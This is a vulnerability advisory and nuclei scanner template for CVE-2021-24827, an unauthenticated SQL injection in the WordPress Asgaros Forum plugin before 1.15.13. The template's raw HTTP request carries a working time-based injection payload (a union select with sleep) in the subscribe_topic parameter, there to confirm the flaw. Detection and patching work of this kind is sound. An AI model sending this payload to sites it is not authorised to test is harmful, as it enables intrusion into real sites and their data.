WordPress Asgaros Forum <1.15.13 - SQL Injection

criticalseverity

9.8CVSS score

12.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.

Fix

Upgrade to the latest version of Asgaros Forum (1.15.13 or higher) to mitigate this vulnerability.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "text/html") and contains(body, "asgarosforum")

Run it with nuclei: nuclei -id CVE-2021-24827 -u <target>

The full check

id: CVE-2021-24827

info:
  name: WordPress Asgaros Forum <1.15.13 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Upgrade to the latest version of Asgaros Forum (1.15.13 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
    - https://wordpress.org/plugins/asgaros-forum/
    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24827
    cwe-id: CWE-89
    epss-score: 0.12559
    epss-percentile: 0.9627
    cpe: cpe:2.3:a:asgaros:asgaros_forum:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: asgaros
    product: asgaros_forum
    framework: wordpress
  tags: time-based-sqli,cve2021,cve,wp-plugin,asgaros-forum,unauth,wpscan,wordpress,wp,sqli,asgaros,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "asgarosforum")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from